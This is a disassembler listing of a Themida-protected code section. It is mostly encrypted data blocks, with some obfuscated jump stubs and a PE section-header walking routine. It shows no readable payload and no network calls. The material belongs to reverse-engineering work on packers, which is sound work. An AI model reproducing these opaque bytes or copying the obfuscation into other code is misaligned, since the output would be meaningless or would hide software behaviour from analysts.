		db 0ECh
		dd 74D173F1h, 0C48B8B08h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 70C35343h, 0CDFCE477h, 6A00EB01h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2445C357h, 9E241E3Fh, 8BC364B1h, 58F64D6h, 0
		dd 0E804C483h, 0Bh, 0EB22C6F4h,	22EB0BDBh, 0BECF511Eh
		dd 7CFC6CB7h, 11E95Ah, 1EE40000h, 25B07523h, 0C098ABC0h
		dd 0DD2DD2E4h, 0B0C2B82h, 0DC840FC0h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 23DCC352h, 53A9C0B3h, 5AF18B66h, 7E961h, 9D030000h
		dd 8DF5B72Fh, 0AFBD8D5Bh, 0BE061472h, 24E01AE1h, 1B8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 5F73B7BDh, 0D7BF0F1Bh, 10E9E7FFh, 5E000000h
		dd 38C84157h, 0BAB8151h, 0D45839Bh, 57824DFAh, 10245C8Bh
		dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h
		dd 0B8h, 0C0335F02h, 52006AC3h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0B63C3F12h, 53006A1Eh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 6172B2F6h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	18C35747h, 0DAE0C22Bh, 0DE476F9Eh, 880FC08Bh, 0Ah
		dd 4800Fh, 0BA660000h, 0BD83384Eh, 61410F1h, 83097500h
		dd 140E25BDh, 19740006h, 0C08B5350h, 40EB8h, 0F1858900h
		dd 8D061424h, 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh
		dd 53501774h, 40EB8h, 0F1858900h, 8D061424h, 16A45A9Dh
		dd 5BD3FF06h, 0CE958h, 46650000h, 61105F42h, 6CC05047h
		dd 0BA51929Dh, 1D4F11E3h, 66C08B5Eh, 8B9CF7BEh,	12E8C2h
		dd 97F40000h, 0D02C8DACh, 54DE782Eh, 3404C1E8h,	0F98AF41Ah
		dd 58DF8B66h, 5820Fh, 81660000h, 819D8BE2h, 5991C0h, 8E96000h
		dd 44000000h, 0EBA92081h, 0FD4E958h, 6861FBB7h,	1634h
		dd 66C4E381h, 0F5E5B89h, 30FFC8B7h, 8B66F560h, 0E95F61F8h
		dd 0Bh,	42B0BCEEh, 8CDCED19h, 81B29BECh, 79A3CAEFh, 8128B277h
		dd 2E1344C7h, 0CE8B573Ch, 0DEF7815Ah, 807A485Bh, 805743CAh
		dd 8FBBCFh, 0E883D78Bh,	0F4EF804h, 1885h, 8E900h, 0C98D0000h
		dd 0B42146C2h, 24E9F5F0h, 81000000h, 3BDE090Bh,	0F38166B3h
		dd 97E995BCh, 0EAFFFFFFh, 0A5EC56FDh, 69EBA836h, 0CE72B1Bh
		dd 4653BCFFh, 0EBB82E10h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0CD858B24h
		dd 8D061401h, 176BA685h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 173B918Dh, 0D1BD8306h, 61416h, 0F840Fh, 6A600000h
		dd 7195FF00h, 61061429h, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	3B8D8589h, 0B58B0617h, 6173B91h
		dd 6610CEC1h, 8B027289h, 173B91B5h, 72896606h, 858B61FCh
		dd 6173B8Dh, 9D958DC3h,	89061413h, 140FC995h, 55958906h
		dd 0FF061400h, 14005585h, 4985C606h, 53061408h,	0B148D868h
		dd 2DB5FFFCh, 8D06140Ch, 143B4E85h, 89D0FF06h, 14297185h
		dd 0D858D06h, 89061734h, 14080185h, 20EB06h, 7 dup(0)
		dd 0E9000000h, 544h, 538E9h, 3DEC6800h,	51E90617h, 68FFFD44h
		dd 6173E87h, 0FD4447E9h, 407A68FFh, 3DE90617h, 68FFFD44h
		dd 61740CDh, 0FD4433E9h, 0C7BACAFFh, 0EAA3A443h, 138EB926h
		dd 3B72900Fh, 245968F7h, 0C1715BE0h, 0DC4BCFC2h, 0B532F6AFh
		dd 8D1A1E99h, 91FC007Bh, 0AEBE8D2Ah, 9E3555E7h,	316C671Ah
		dd 0FB3D4A1Ah, 0F779AE18h, 1D20813Dh, 0FFD3F0C2h, 138EBDCCh
		dd 0C36C9FFBh, 0D3F0C270h, 0E6858FF3h, 0DF9D438Fh, 18390594h
		dd 0F7000000h, 0F09285B9h, 0D5A34253h, 5F3F79A6h, 503449DFh
		dd 131ECCh, 0B9940000h,	53F09286h, 0A7D4A041h, 0DF5F3E06h
		dd 0D3573B49h, 316C6701h, 92A49819h, 62ADD3F0h,	0D4D1FC0Bh
		dd 0AADE3050h, 0B4CB2691h, 6AEE1E97h, 0F092D063h, 0F91453D3h
		dd 1B9A98BCh, 0D3F06224h, 0C090ABAFh, 0D0E97B7Ah, 0A501134Fh
		dd 0DF07A8DAh, 418CF414h, 0B6C5496Dh, 0DCE1E9BEh, 388509D6h
		dd 261D9191h, 0DAD22044h, 0D34E7D0Bh, 0F09FE752h, 1A187CD3h
		dd 9D660CA9h, 8B8FC9DCh, 9D0B3273h, 6EE9D5E4h, 9825CB07h
		dd 0E3710BA8h, 0AD0AC6BEh, 0D5E40D9Eh, 0FBFF3115h, 2FD85AB6h
		dd 62h,	1B618085h, 0D4F675E0h, 0EF25A1D9h, 0DF5EC5EEh
		dd 0E11A7E49h, 0F135689Ah, 0A5A25476h, 5074D0E8h, 134942CFh
		dd 0FCCE3E69h, 323h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h
		dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h,	527EE92Dh
		dd 3254D357h, 67DAB77Bh, 0E7AF0BC6h, 414B8855h,	2EE2Ah
		dd 6C674000h, 3FAA1931h, 0F09243FEh, 0B67CC053h, 0F09278C7h
		dd 93C78653h, 0B3953F0h, 0CF53F092h, 191B92B0h,	0F092A19Ch
		dd 92E05F53h, 2F1E53F0h, 0E813F092h, 0DF587319h, 89DF8379h
		dd 67E8EF2h, 3D7A91E7h,	8FCA6759h, 397495D2h, 0ACBA7701h
		dd 0B68A179Bh, 38739592h, 9F608400h, 0A2FFA11Ch, 8826F464h
		dd 0E0000002h, 0FE69ADE0h, 0D34CD0CDh, 0AE39FDB8h, 8621E5A0h
		dd 85060A87h, 0A9E4E353h, 0D0CDFA65h, 0FCB7D34Ch, 0EE9DAF38h
		dd 0B3FC4F2Ah, 55E7AC80h, 67CCF003h, 95063665h,	0CCFCB9D6h
		dd 9263DE5Fh, 9CE053F0h, 0E302BA78h, 0E3396695h, 5049DF5Fh
		dd 0C5328ECh, 27129301h, 0BC55E7AEh, 0A17EB4D8h, 89D0EBA6h
		dd 0EA18077Ah, 0F53F9BB3h, 0EAA7A23Dh, 0ED9B6AD2h, 630351DEh
		dd 8EC04FC8h, 0D183F720h, 20E40853h, 0B8F5146Bh, 8F0E0480h
		dd 5FDEA8B0h, 0A4DFED7Ch, 9A1B3094h, 5FDEA8AFh,	0DAD22024h
		dd 0E14E7D0Bh, 45F165BFh, 48BBD0B4h, 2A8B0F31h,	41B5E41Fh
		dd 7C8CB094h, 9CACE7E3h, 411E1438h, 0CC3F4C3Fh,	0F9118CBDh
		dd 0E4ED5C9Dh, 0E26641B5h, 0C5C76010h, 5767222Dh, 0E488BBE4h
		dd 70B41B5h, 6ECFFFE3h,	41B5E4CFh, 98B3D928h, 9A29DD1Fh
		dd 0F90A515Bh, 2E5E4D7Fh, 127686AAh, 6F9CE000h,	0FA8EE10h
		dd 4BAC203Ch, 6BAFD3B7h, 0B8D3CAFCh, 3BEDA0A1h,	0B881D614h
		dd 6D59DBFDh, 0AC5161CCh, 0A327C64Bh, 13C2DDE9h, 9E15331Fh
		dd 0A2C6EA6Eh, 69DC0CA9h, 31155183h, 4A41431Ah,	21BFB5C6h
		dd 0BC667E0h, 884D8389h, 46DE9284h, 0F043EC1Fh,	734D83BDh
		dd 3456050Fh, 37324279h, 28596F1h, 0C7430C2h, 17C8FFDh
		dd 836695A4h, 0FD2A2E4Dh, 5DB9D1CCh, 0D4BD4D7h,	0E657ACABh
		dd 74CB6A62h, 96777BA3h, 4E2EDDABh, 0B2536B0Bh,	66749B60h
		dd 0AA1FF8B8h, 55484706h, 9053A125h, 13h, 7F86B91Ch, 28EB53F0h
		dd 0B8000000h, 0D2EAA5A1h, 8BBABC76h, 60E2CBFDh, 0F406A223h
		dd 0CFB2D8Ch, 5C59DB19h, 53F00EE1h, 0C675B22Dh,	5D53F002h
		dd 80313BF9h, 47E01B61h, 49DF5F1Dh, 0E25A72D6h,	0D9467503h
		dd 4FCB7E79h, 189196FAh, 6062FF16h, 953A08h, 0ED1D0000h
		dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh
		dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h
		dd 7A55E7D2h, 6180D7D9h, 1D47E01Bh, 0D649DF5Fh,	3E25A72h
		dd 99D94675h, 5A4FCB53h, 3BC231F6h, 82FA62FFh, 42B0h, 0E79AAA00h
		dd 0A838423h, 336E9906h, 5B5270EFh, 443948D7h, 0A1113BC0h
		dd 0BC2BEFA2h, 9512168Fh, 6DFA3E79h, 0B1DC205Bh, 0D25EED4Ah
		dd 0BED555E7h, 0D2A7Ah,	8C400000h, 4E3F401Fh, 0C1F9B4D1h
		dd 6745CF45h, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
		dd 6E6B68h, 241C8900h, 5E08950h, 4, 42Dh, 24048700h, 242C895Ch
		dd 0D8168h, 240C8900h, 4EC81h, 34890000h, 3CADBE24h, 0F5890617h
		dd 4EC815Eh, 89000000h,	4812424h, 424h,	93685900h, 89000009h
		dd 8BA2414h, 1000000h, 5A2A89CAh, 51240C8Bh, 0C181E189h
		dd 4, 8704C183h, 8B5C240Ch
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		aaa
		dec	edx
		and	edi, [eax+6174134h]
		add	eax, ebp
		mov	ecx, eax
		jmp	loc_5B1DB8
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5B1D82:				; CODE XREF: Themida_:005B1DADj
		cmp	ecx, 0
		jz	loc_5B1DA1
		cmp	edi, [edx+0Ch]
		jg	loc_5B1DA9
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5B1DA1:				; CODE XREF: Themida_:005B1D85j
					; Themida_:005B1DB3j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5B1DA9:				; CODE XREF: Themida_:005B1D8Ej
		add	edx, 28h
		dec	ecx
		jnz	loc_5B1D82
		jmp	loc_5B1DA1
; ---------------------------------------------------------------------------


loc_5B1DB8:				; CODE XREF: Themida_:005B1D62j
		mov	edx, 9FD3Eh
		jmp	short $+2
		jmp	loc_5B2457
; ---------------------------------------------------------------------------
		jmp	loc_5B2450
; ---------------------------------------------------------------------------
		push	617435Dh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174489h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	617451Fh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174602h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174755h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 38h
		dd 16919508h, 0EB74B8F5h, 0C661A5E0h, 0DE49CDC8h, 0AD2EF2AFh
		dd 910C3B8Bh, 0B8F5128Dh, 0A4DFEB74h, 0D6C5C760h, 5BC42752h
		dd 55E7D0E8h, 75D286Bh,	6FD539C0h, 2040E85h, 0F09286B9h
		dd 0F43A4A53h, 0E588A7F2h, 585CEF48h, 73D753F0h, 79C8C54Fh
		dd 0BD53F058h, 960D3B42h, 0F058E457h, 191B7F53h, 0F058AC9Ch
		dd 0B6F76253h, 53F0589Bh, 0D004C618h, 0E266332Fh, 86B934FEh
		dd 7853F09Dh, 53F09DC6h, 0A4527108h, 74D0E8A5h,	56DC3850h
		dd 0F09DD867h, 335514D3h, 0E302BA78h, 9D162582h, 52ADD3F0h
		dd 0C9567A37h, 0ACDFC3BEh, 9D45F431h, 7ADED3F0h, 0CD9C0FB8h
		dd 4431C3BEh, 0C9DC98CAh, 667AEC64h, 949BBF51h,	24FA2EA1h
		dd 0AD670E36h, 53900355h, 5A560335h, 4A460536h,	305CCB4Fh
		dd 0CDD4575h, 0EB0F8683h, 0EEB357D0h, 3B44CFC8h, 0E266960Dh
		dd 0D5439FEh, 0FC6CE302h, 4B72Eh, 970A3A00h, 0BAF31493h
		dd 0A3DEE976h, 0CBC2C05Fh, 0F4A9D847h, 3181AB30h, 0C9B9F12h
		dd 0E58286FFh, 0FD6AAEE9h, 214CD0CBh, 0D1EE5DDAh, 2E6555E7h
		dd 216567EAh, 0F092B584h, 264ACE53h, 93AB9716h,	19A653F0h
		dd 0FAB1D3F2h, 7AC956C1h, 0F953F093h, 4CDB9F95h, 344B433Ah
		dd 2F5E6012h, 0C8D1491Fh, 5B35462h, 0FE4DEAE1h,	7553F008h
		dd 82DDED11h, 68FE0E83h, 409BFA38h, 69988731h, 54830434h
		dd 7483F53Dh, 0A1DCEE1Dh, 6A2BF15Dh, 0F94B8595h, 61000003h
		dd 0C2CD6567h, 732A58C7h, 0A3DBFF5Bh, 0F0923802h, 3E4D3C53h
		dd 0F09F9510h, 25586A99h, 0DA35B4E1h, 0B0F3E58Ah, 0DF48E0EFh
		dd 0BB3AF8B3h, 53F05988h, 505344Ch, 457566A4h, 79AF5DECh
		dd 0A0725D93h, 24FC0E40h, 8BF6DCD7h, 0FC085767h, 0E0E27D81h
		dd 5F2E9DADh, 34427A31h, 3B949535h, 0DA587C5Bh,	0B77B0DE2h
		dd 57671628h, 7E82FB08h, 2615920Dh, 0BD53F016h,	486C2122h
		dd 1674CBCAh, 375453F0h, 37D64E7Eh, 0A9ED4A41h,	4249DCF1h
		dd 0DF5E39FEh, 6766915h, 38B34h, 0A3DEEE00h, 0CEBFC05Fh
		dd 0F7B2DD4Ah, 1F96B433h, 7D8C1Bh, 0ED557FFCh, 0C05FA3DEh
		dd 0D946CAC3h, 0B12EF2ADh, 7D181C8Fh, 0D692A10Eh, 0E21155E7h
		dd 3665673Eh, 0AF477906h, 7ADEEE9Dh, 2C592656h,	0DC0A5A71h
		dd 0AE9D1AA2h, 2553F0EBh, 4846CF21h, 1A63171Dh,	53F0EDE3h
		dd 0F01C221Dh, 88050253h, 1C0E3170h, 57C253F0h,	0F01C7BD6h
		dd 2283F853h, 53F01C17h, 8E84A8ACh, 2B5AD736h, 1D017C8Dh
		dd 364569EDh, 0DCC749E9h, 0A166EA49h, 6915D0D0h, 0F56230A8h
		dd 78000002h, 56D15548h, 2BB47835h, 6A16520h, 1E898D08h
		dd 0ED6EB2EFh, 514C7BCBh, 783552CDh, 641F2BB4h,	960507A0h
		dd 1B84E792h, 55E7D728h, 8BA468ABh, 0AEDED7F4h,	1133E82Ah
		dd 0EB1A619Ah, 4B433E4Dh, 5D69ABCFh, 7D8D0002h,	9EAEE3E2h
		dd 0BFCFC2C1h, 0A7DF92A9h, 1A3DC166h, 99B5D43Bh, 7784FA1Eh
		dd 0ACDFE120h, 881ECC68h, 59B88595h, 74000002h,	0F09286B9h
		dd 0EFAAA653h, 0ED1A61DCh, 3D3C98B0h, 53F0920Eh, 0C7738185h
		dd 7D8A2C58h, 55770800h, 8EB21626h, 10D526Ah, 0EF407686h
		dd 0A4CB7490h, 2D88F1B7h, 0D337476Bh, 3453BA41h, 3D999D18h
		dd 859580EFh, 598Fh, 0FD8B2500h, 7FB881FCh, 53F0CACCh
		dd 282DC347h, 8D21F32Ah, 0B2F3087Ch, 49DC70BCh,	7CE5135h
		dd 0FF691666h, 212BD8Fh, 65650000h, 4879E62Ah, 3B56D155h
		dd 1F2DBA7Eh, 807A064h,	260A9195h, 0F83C7190h, 0E72B626Fh
		dd 0CD514C78h, 0B97D3052h, 71C06DDCh, 0F255E7D4h, 16955F41h
		dd 0F092A289h, 3E4D3153h, 92D762C3h, 0E86C53F0h, 52299A2Ah
		dd 0C898630h, 59752AE8h, 3B4DDA5Eh, 3FD04840h, 2E5AC549h
		dd 0E30AF73h, 95B65B6Dh, 0F01F3908h, 40D6BA53h,	375B31BAh
		dd 0B7D2A904h, 8C40F3FAh, 7FC353F0h, 0D2EAA3A0h, 7F00BC76h
		dd 0C728A952h, 71890400h, 237D0315h, 73CE6F9Ch,	0F053F058h
		dd 0C9A4688Ch, 58063572h, 0B99D53F0h, 0C3CFFB82h, 0F058D762h
		dd 0C4E86C53h, 0E6E17E4Eh, 551467ABh, 0C84C7C37h, 1F9C724Ah
		dd 783BBF2h, 36BE9D11h,	769AA54Dh, 840E3946h, 0F0E8281Bh
		dd 83A7AB53h, 0E80F3E7Fh, 39C853F0h, 0BECD3853h, 61E51590h
		dd 50F8A86h, 0DC0F7688h, 609BFF49h, 86B5E819h, 33BF8A2Bh
		dd 159655E4h, 64BC4082h, 0E72D1165h, 1A93B433h,	0C4719DE2h
		dd 3C86A2A3h, 0C9566512h, 55E4697Ah, 597195F9h,	7F8C0906h
		dd 68AAE3E0h, 337CEF5Ch, 55E46900h, 0A675BF83h,	66DEEEABh
		dd 6FDAF187h, 8CBCF110h, 8B8B0A08h, 0E44FC896h,	7EE29F60h
		dd 4EBE6301h, 0BF7Ch, 9F123200h, 82FB0C9Bh, 0ABE6E17Eh
		dd 0D3CAF867h, 0FCB1D04Fh, 2999B338h, 4A3671Ah,	1D8A8E07h
		dd 0F572B6F1h, 3954D8D3h, 0D5D665C2h, 266D55E7h, 366567E2h
		dd 0AF477906h, 75D1E9A4h, 6ECF3A51h, 53F092D3h,	8626EC50h
		dd 0BDCC2350h, 64FB108Bh, 4968D863h, 0EFEA38CBh, 0C157B3CBh
		dd 0AF133036h, 8C44CE09h, 94EAFA20h, 268485h, 0D2A90000h
		dd 0F34EEFB5h, 7053F0C0h, 74D0E80Ch, 0EEA7BFA2h, 93615E30h
		dd 9285B9A9h, 0A3A553F0h, 10F624E8h, 7C000000h,	0F09286B9h
		dd 12A4A653h, 783BBF6h,	0CFD51FE3h, 16E5FCh, 5ECD0000h
		dd 92F742E3h, 0ACA753F0h, 0AF4B9DF1h, 24648C54h, 0E953A1C5h
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 28B1681Fh
		dd 24890000h, 4BA5224h,	1000000h, 5A042454h, 5E08950h
		dd 4, 8704E883h, 895C2404h, 0B2682414h,	89000002h, 68572434h
		dd 7C63464h, 0DFBBA5Fh,	0FA01FE51h, 4EC815Fh, 89000000h
		dd 4832424h, 535E0424h,	8BBh, 0A0C38100h, 12C6813h, 0A0EB81F3h
		dd 892C6813h, 34FF5B13h, 0C4835E24h, 2434FF04h,	4C4835Ah
		dd 0FD3833E9h, 9DE8A0FFh, 88298EF6h
; ---------------------------------------------------------------------------


loc_5B2450:				; CODE XREF: Themida_:005B1DC4j
		mov	eax, 6174839h
		add	eax, ebp


loc_5B2457:				; CODE XREF: Themida_:005B1DBFj
		mov	edx, ecx
		jmp	loc_5B25A4
; ---------------------------------------------------------------------------
		dw 4255h
		dd 0ECE758EDh, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh
		dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh
		dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h
		dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h
		dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h
		dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h
		dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h
		dd 2CAEh, 3400h, 3800h,	2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 72655300h, 65636976h
		dd 63615020h, 32206Bh, 1Fh dup(0)
; ---------------------------------------------------------------------------


loc_5B25A4:				; CODE XREF: Themida_:005B2459j
		jmp	loc_5B461F
; ---------------------------------------------------------------------------
		push	6174C35h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174D24h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174E02h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174EBFh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6174F9Ch
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175075h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175130h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175229h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	617561Eh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175685h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175800h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175ABAh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6175E4Ah
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61761D1h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6176331h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61763A9h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6176414h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	617647Bh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6176607h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6176713h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61768F9h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 96111588h, 6BF43875h, 46E12560h, 5EC94D48h, 2DAE722Fh
		dd 118CBB0Bh, 3875920Dh, 245F6BF4h, 564547E0h, 0DB44A7D2h
		dd 55E7D868h, 6764A8EBh, 79063665h, 0B0D05447h,	0A5102B51h
		dd 0DFEFAAA6h, 723CB97Bh, 0FB49DC63h, 7C66797h,	2755E483h
		dd 45B732Ah, 0DA7E8E07h, 0D10C167Dh, 4D93DF36h,	0A98BA899h
		dd 9B42F13Eh, 7DC155E4h, 4D34B7h, 80E00000h, 3869E961h
		dd 0D04B0B4Ah, 1E9FACh,	4149DC78h, 54720406h, 81A52159h
		dd 4E40FF89h, 41CF96E5h, 617CB5Dh, 0FB0BA224h, 0A6A5A4D7h
		dd 2A85D3EBh, 0FC2D9FFFh, 0E2C25074h, 0E445FC43h, 98FF1E55h
		dd 0A963945Ah, 0D9228Bh, 678E0000h, 79063665h, 0B427574Ah
		dd 161C97B5h, 24544779h, 1C96A8B7h, 84B4F1h, 0CD9AEC1Ch
		dd 0F4F0E84Bh, 48070D31h, 0FAC34736h, 53F0188Eh, 0AB6F1E20h
		dd 1B840A3Ch, 53F00128h, 8B83A7ABh, 7586F213h, 54DEDBF6h
		dd 6361F86Bh, 4FEBEA28h, 0E049DCE9h, 0AC196F9Ch, 0C16205CAh
		dd 0CBBB7FB5h, 0F03D4E3Ah, 4FCB709Fh, 83B64D7h,	205FDBF3h
		dd 0FA5E6E1Fh, 70708286h, 6160FF0Ch, 3F401F2Ch,	4DDA3E4Eh
		dd 0D1354540h, 0F9089743h, 307E8384h, 0AA0262FFh, 1D8398h
		dd 7F325200h, 621B2CBBh, 8B06019Eh, 0B3EA1887h,	0DCD1F06Fh
		dd 49F9D358h, 24C3473Ah, 3DAA6E27h, 15929611h, 1974B8F3h
		dd 0DE3605A2h, 64D55E7h, 0D4FD8B82h, 0FF8E4579h, 0F514CB49h
		dd 0D9EB74B8h, 80945EA2h, 47E01B61h, 49DC6CD7h,	48172428h
		dd 1588B93Bh, 228323F1h, 55E49C1Bh, 0FBF71EF9h,	8BA89A35h
		dd 0D4C9FA81h, 90CB06A7h, 0C44855E4h, 0B3BD4Eh,	0B2C20000h
		dd 0E2D429F1h, 3003AC05h, 0B355E44Eh, 0E769ABCFh, 6366567h
		dd 27574A79h, 0F0978A86h, 6B222453h, 970638A7h,	61EEFF67h
		dd 0F3082C5Fh, 0EE24616Ch, 0EA1B62DDh, 0D27461B3h, 6B49DC7Eh
		dd 826323E7h, 2658C5F6h, 2F4FCBEBh, 940102Bh, 9A153185h
		dd 0F8605F84h, 4F1E893Ah, 0C3304843h, 0DADDD762h, 0C4E86C5Fh
		dd 3F72914Eh, 205D6CFBh, 42E4DFh, 7E4CBC63h, 1C94h, 0C4484343h
		dd 0AF732A5Bh, 94981530h, 8286FD0Bh, 67ABE6E5h,	4342F0E4h
		dd 305DCA4Eh, 1A36B175h, 0FA0C9B9Fh, 0AF127F83h, 0E7DF330Eh
		dd 9903B055h, 0F1356867h, 0D5595476h, 3665671Fh, 0FD3A9506h
		dd 53F0924Eh, 1CB341C5h, 0C87BA4EAh, 4B53F092h,	2C5FA3C7h
		dd 0E09DAAB1h, 0DE6D6CE8h, 5553F092h, 8A82FF0Ah, 0A28EA0Eh
		dd 0E647B267h, 53F0926Bh, 16AE64E8h, 2D8A81F7h,	49DC6BD9h
		dd 8EDDEE52h, 700D0782h, 72050833h, 5226C719h, 1976FC39h
		dd 69FF8B7Eh, 0B636169Dh, 0E30EFB3h, 0C7EB6F9Fh, 0CABE4FB7h
		dd 3A0E46B1h, 0C4F389F7h, 0AD9C1932h, 269B46BFh, 8CE5D022h
		dd 0A7816A73h, 0FAD86BB4h, 0F75B9D3Ah, 9FA1B8D3h, 0C5328ECh
		dd 0D18E8401h, 4A3BFCAFh, 66A06029h, 1BB624F6h,	65650000h
		dd 4879E62Ah, 3B56D155h, 1F2DBA7Eh, 807A064h, 260A9195h
		dd 0F83C7190h, 0E72B626Fh, 0CD514C78h, 0B97D3052h, 71C06DDCh
		dd 0F255E7DCh, 65675F41h, 4F9E0636h, 0C1A50239h, 7A49DC96h
		dd 0E2791216h, 3793ABE6h, 96A89B04h, 272B55E4h,	78B047EDh
		dd 4FE8E369h, 4FC86F3Bh, 79FDFD8Bh, 32DD655Eh, 0BF4E80E0h
		dd 7327341h, 9C5FD8EAh,	0D78066B8h, 6C5AE936h, 75D95FD8h
		dd 461E2D51h, 88F6F75Fh, 2ADB5949h, 690DBB0Dh, 1F6D7C06h
		dd 0E0CB43ECh, 20249A05h, 2B51B028h, 0C47E9710h, 8DF19031h
		dd 0AEDDEF7Eh, 22CBFD6Ah, 63474864h, 59DEC2D4h,	8F28A472h
		dd 0F980920Ah, 0D800001Ah, 0B631F5A8h, 8B141895h, 66010580h
		dd 7EE92D68h, 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh,	47F8B14h
		dd 36656700h, 0FB2487F2h, 55E7DC48h, 670488CBh,	46053665h
		dd 0FBCB4944h, 7A016283h, 25145548h, 0BE53F092h, 3504A1DAh
		dd 4E53F092h, 895A6CAh,	49DC75CEh, 99A8F560h, 1A55E4B4h
		dd 8084FC36h, 3CEA9A7Ch, 3ACDFADh, 4FC84DF7h, 0E053DC4Fh
		dd 0C85FD8BCh, 4ECAC2BBh, 0E41C167Ah, 6366D9Bh,	0F26D9E82h
		dd 0D8BC86B5h, 0EE391D5Fh, 3397A7E2h, 0CA2704E1h, 313361F5h
		dd 1697A4D0h, 0E10C8800h, 65DDED51h, 5ADBF084h,	0E738AC35h
		dd 0AAE7E279h, 84FC3692h, 41188B80h, 1291BF40h,	9B3F4232h
		dd 0DCEEBD77h, 0B5D3AAA1h, 0C84ACEFEh, 3E6D9F08h, 30AC1CF9h
		dd 7644B4BAh, 1A1Ch, 4CD0CBFBh,	37FBB2D3h, 1CE09DA8h, 0A0E8583h
		dd 0EF336E9Dh, 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh, 828423E7h
		dd 176A070Bh, 0E7DDBB96h, 119B3855h, 0AC9F188Bh, 2753F092h
		dd 9258EB34h, 77DB53F0h, 0F80AC153h, 3054517Eh,	3B41A018h
		dd 4987A700h, 543849DCh, 4F922ED0h, 0D079E339h,	141E7A45h
		dd 3B41A0h, 2F330370h, 9DB46A21h, 6B54DE2Fh, 0C87AB8CAh
		dd 7CCDB14Fh, 1BDE6A3Fh, 0A7A3BA5Ch, 7F8E26ECh,	0F887F209h
		dd 69242FC9h, 0B9D1F551h, 50E6D75Dh, 8140B6A0h,	0D4FF8EBDh
		dd 0F86B5BD9h, 0E82A6561h, 0CFB535D4h, 0FBB6D53Ch, 9BD147C3h
		dd 5365A8Ch, 0A2FB7398h, 6398FC46h, 3E4DEF1Ch, 0AB2F5F43h
		dd 0FD0F5E69h, 0EB1D8A8Eh, 0B09C6FB0h, 0B4245997h, 1943E6h
